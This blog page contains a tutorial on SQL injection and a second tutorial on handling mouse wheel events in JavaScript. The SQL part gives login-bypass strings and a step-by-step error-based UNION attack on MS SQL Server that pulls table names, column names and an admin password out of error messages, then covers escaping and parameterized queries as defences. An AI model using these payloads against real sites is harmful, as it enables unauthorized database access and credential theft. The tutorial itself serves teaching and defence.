Things That Not All Programmers Know #3: SQL Injection

Despite the fact that this a relatively old, and very famous security attack, many people I know do not know SQL injection or how it is performed. In this post, I am going to give a little introduction to SQL injection, some examples of how it is done and how to prevent it from becoming a threat to your Web site.

SQL injection- also known as SQL insertion- is a form of attack on a database-driven Web site, in which the attacker executes unauthorized SQL commands by exploiting a security vulnerability occurring in the database layer. The vulnerability is present when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and thereby unexpectedly executed. This is an instance of a more general class of vulnerabilities that can occur whenever one programming or scripting language is embedded inside another.

More specifically, SQL injection is a trick to inject a SQL query or command as an input via Web pages that take parameters from Web user, such as a username and a password, and then make SQL query to the database to check the validity of these parameters, which will grant us something else.

It attacks on the web application, such as ASP, JSP, PHP, CGI, itself rather than on the web server or services running in the OS.

Testing the system’s vulnerability:

To successfully perform SQL injection, you have to first test if the system is vulnerable to such attack. You can do that by either looking for the “FORM” tag in the HTML source code of pages that allow you to submit data, such as login forms, where you may find something like this (a parameter that can be exploited):

<FORM action=“Search”/search.asp method=”POST”>
<input type=”hidden” name=“A” value=“C”>
</FORM>

Or by looking for ASP, JSP, PHP, or CGI Web pages, where the page URL takes parameters, like: http://duck/index.asp?id=10

Either way, you can test by attempting to log in by using the values or changing the URL parameter value to a’ or 1=1–. Example:

Username: a’ or 1=1–
Password: a’ or 1=1–
http://duck/index.asp?id= a’ or 1=1–

<FORM action=“Search”/search.asp method=”POST”>
<input type=”hidden” name=“A” value=“a’ or 1=1--”>
</FORM>

If the system is vulnerable, you will get login without any username or password.

Getting data from the database using error messages:

Error messages produced by Microsoft SQL Server can be exploited in order to get almost any desired data from the database. Take this page for example:

http://duck/index.asp?id=10

To get the name of the first table of the database, we can use the INFORMATION_SCHEMA.TABLES system table. This table contains information of all tables in the server and always exists. The TABLE_NAME field contains the name of each table in the database. So, what we are going to do here is UNION the parameter value ‘10’ with a query to get the first table name in the database:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

The query:

SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

Should return the first table name in the database. When we UNION this string value to an integer 10, MS SQL Server will try to convert a string (nvarchar) to an integer. This will produce an error, since we cannot convert nvarchar to int:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘table1’ to a column of data type int.
/index.asp, line 5

The error tells you the value that cannot be converted to int, which in that case is the name of the first table. To get the next table name, you can use this query:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--

You can also use the LIKE keyword if you are looking for a specific table:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%25login%25'--

This will result in the following error:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘admin_login’ to a column of data type int.
/index.asp, line 5

‘%25login%25’ will be seen as %login% in SQL Server. In this case, we will get the first table name that matches the criteria, “admin_login”.

Similarly, you can use the same method to obtain all column names from tables using the system table INFORMATION_SCHEMA.COLUMNS. For example, to get the first column name, use the query:

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--

Which will produce an error message from which you can get the name of the first column name. You can then use the NOT IN keywords as before to get the following column names.

After identifying the names of the database tables and columns, the same technique can be used again to get any information from the database. For example, assume you want to get the first username from the table “admin_login”, you can use the query:

http://duck/index.asp?id=10 UNION SELECT TOP 1 username FROM admin_login—

The following error would result:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘admin’ to a column of data type int.
/index.asp, line 5

So you now know that there is a user with a username of “admin”. To get the password of that username from the database, use the query:

http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where username='admin'--

The following error would result:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘p@ssword’ to a column of data type int.
/index.asp, line 5

Now you can log in to the system using the name “admin” and password “p@ssword”.

Preventing SQL injection:

To protect against SQL injection, two methods can be used, one is called Escaping, which filters out (escapes) character like single quote, double quote, slash, back slash, semi colon, extended characters like NULL, carriage return, new line, etc, in all strings from users’ input, URL parameters, and cookies’ values. For example, every occurrence of a single quote (‘) in a parameter must be replaced by two single quotes (”) to form a valid SQL string literal. This method is error-prone, however, as this is a type of blacklist, which has proved to be much less robust than whitelists. An example of escaping is using the function mysql_real_escape_string before sending the query in  PHP:

$query = sprintf("SELECT * FROM Users where UserName='%s' and Password='%s'"   mysql_real_escape_string($Username),
mysql_real_escape_string($Password));
mysql_query($query);

Another method is to use parameterized statements, which enables users’ input to be initially filtered instead of directly embedding it in the SQL statements. An example of parameterized statements is PerparedStatement in the Java JDBC API:

PreparedStatement prep = conn.prepareStatement("SELECT * FROM USERS WHERE USERNAME=? AND PASSWORD=?");
prep.setString(1, username);
prep.setString(2, password);
prep.executeQuery();

Another things that can be done to avoid SQL injection is to convert numeric values to integers before parsing them into the SQL statement. Or using ISNUMERIC to verify that they are integers.

And that’s it. Hope that was clear and simple enough. Your questions and comments are always welcomed.

Disclaimer: all of the information posted here is gathered from online published materials. None of this is my work and I am absolutely not responsible for any misuse of it. Modify/edit/use it at your own responsibility.

Share

Advertisements

Things That Not All Programmers Know #2: Handling Mouse Wheel In JavaScript

Everyone who has been on the Web even a little knows the importance of the use of mouse wheels, scrolling pages, zooming in Google Maps, mouse wheel gestures in Opera 9 browser, and many more. It is almost impossible now to find a mouse without wheel. However, not many Web applications’ developers know how to make smart use of mouse wheel. Therefore, I decided to make this little tutorial to provide general information on how to handle mouse-wheel-generated events in JavaScript.

There are some images that are not very clear because of page size limitations. You can click on any image to see it in full size.

First, the thing you should know about mouse wheels is that they do not have an absolute system. Therefore, the only way to capture the wheel actions is via a parameter called delta, which is the mouse wheel angle changes. The delta parameter takes positive and negative values; if the wheel is scrolled up- which means the page is scrolled down- delta is positive, if the wheel is scrolled down- which mean the page is scrolled up- delta is negative. The handle function takes on that delta parameter. This function should be modified by you to handle the wheel actions:

High Level Function

The actual values of delta depend on the sensitivity of the mouse. However, for optimization, the code is adjusted so that the values of delta are either -1 or +1. Also note that delta takes different values between the Internet Explorer, Opera, and Mozilla Firefox browsers. For example, in Opera and Firefox, delta takes a different sign than that of Internet Explorer, and in Firefox, the value of delta is always a multiple of 3. Here is the event handler code:

Event Handler Function

The following part is optional. This piece of code is to prevent the default actions caused by the mouse wheel. You may want to do that because you are already handling scrolls somehow:

Handling Default Actions

The initialization code:

Initialization Code

And that is it. Now you can handle mouse wheel actions easily anyway you want using the handle function. Note that this code has been tested only with recent versions of Internet Explorer, Mozilla Firefox, Opera, and Safari browsers. I have no idea if it will work with other browsers or not.

Hope this was useful. I would really love it if you tried it and sent me your feedback. And again, if you know a good programming trick that you believe not many people know, please let me know. Wait for a new programming trick next month. Until then, happy coding!